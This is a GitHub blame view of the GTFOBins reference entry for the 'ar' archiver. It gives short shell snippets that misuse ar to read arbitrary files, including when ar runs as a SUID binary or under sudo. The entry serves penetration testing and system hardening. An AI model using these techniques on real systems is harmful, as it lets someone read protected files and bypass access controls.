GTFOBins.github.io/_gtfobins/ar.md

23 lines
503 B
Markdown
Raw Normal View History

2021-01-11 12:59:30 +01:00
---
2021-01-17 23:32:44 +01:00
description: The file appears amid the binary content of the archive.
2021-01-11 12:59:30 +01:00
functions:
file-read:
2021-01-17 23:40:41 +01:00
- code: |
OUTFILE=$(mktemp -u)
LFILE=file_to_read
ar r "$OUTFILE" "$LFILE"
cat "$OUTFILE"
2021-01-17 23:32:44 +01:00
suid:
2021-01-17 23:40:41 +01:00
- code: |
OUTFILE=$(mktemp -u)
LFILE=file_to_read
./ar r "$OUTFILE" "$LFILE"
cat "$OUTFILE"
2021-01-17 23:32:44 +01:00
sudo:
2021-01-17 23:40:41 +01:00
- code: |
OUTFILE=$(mktemp -u)
LFILE=file_to_read
sudo ar r "$OUTFILE" "$LFILE"
cat "$OUTFILE"
2021-01-11 12:59:30 +01:00
---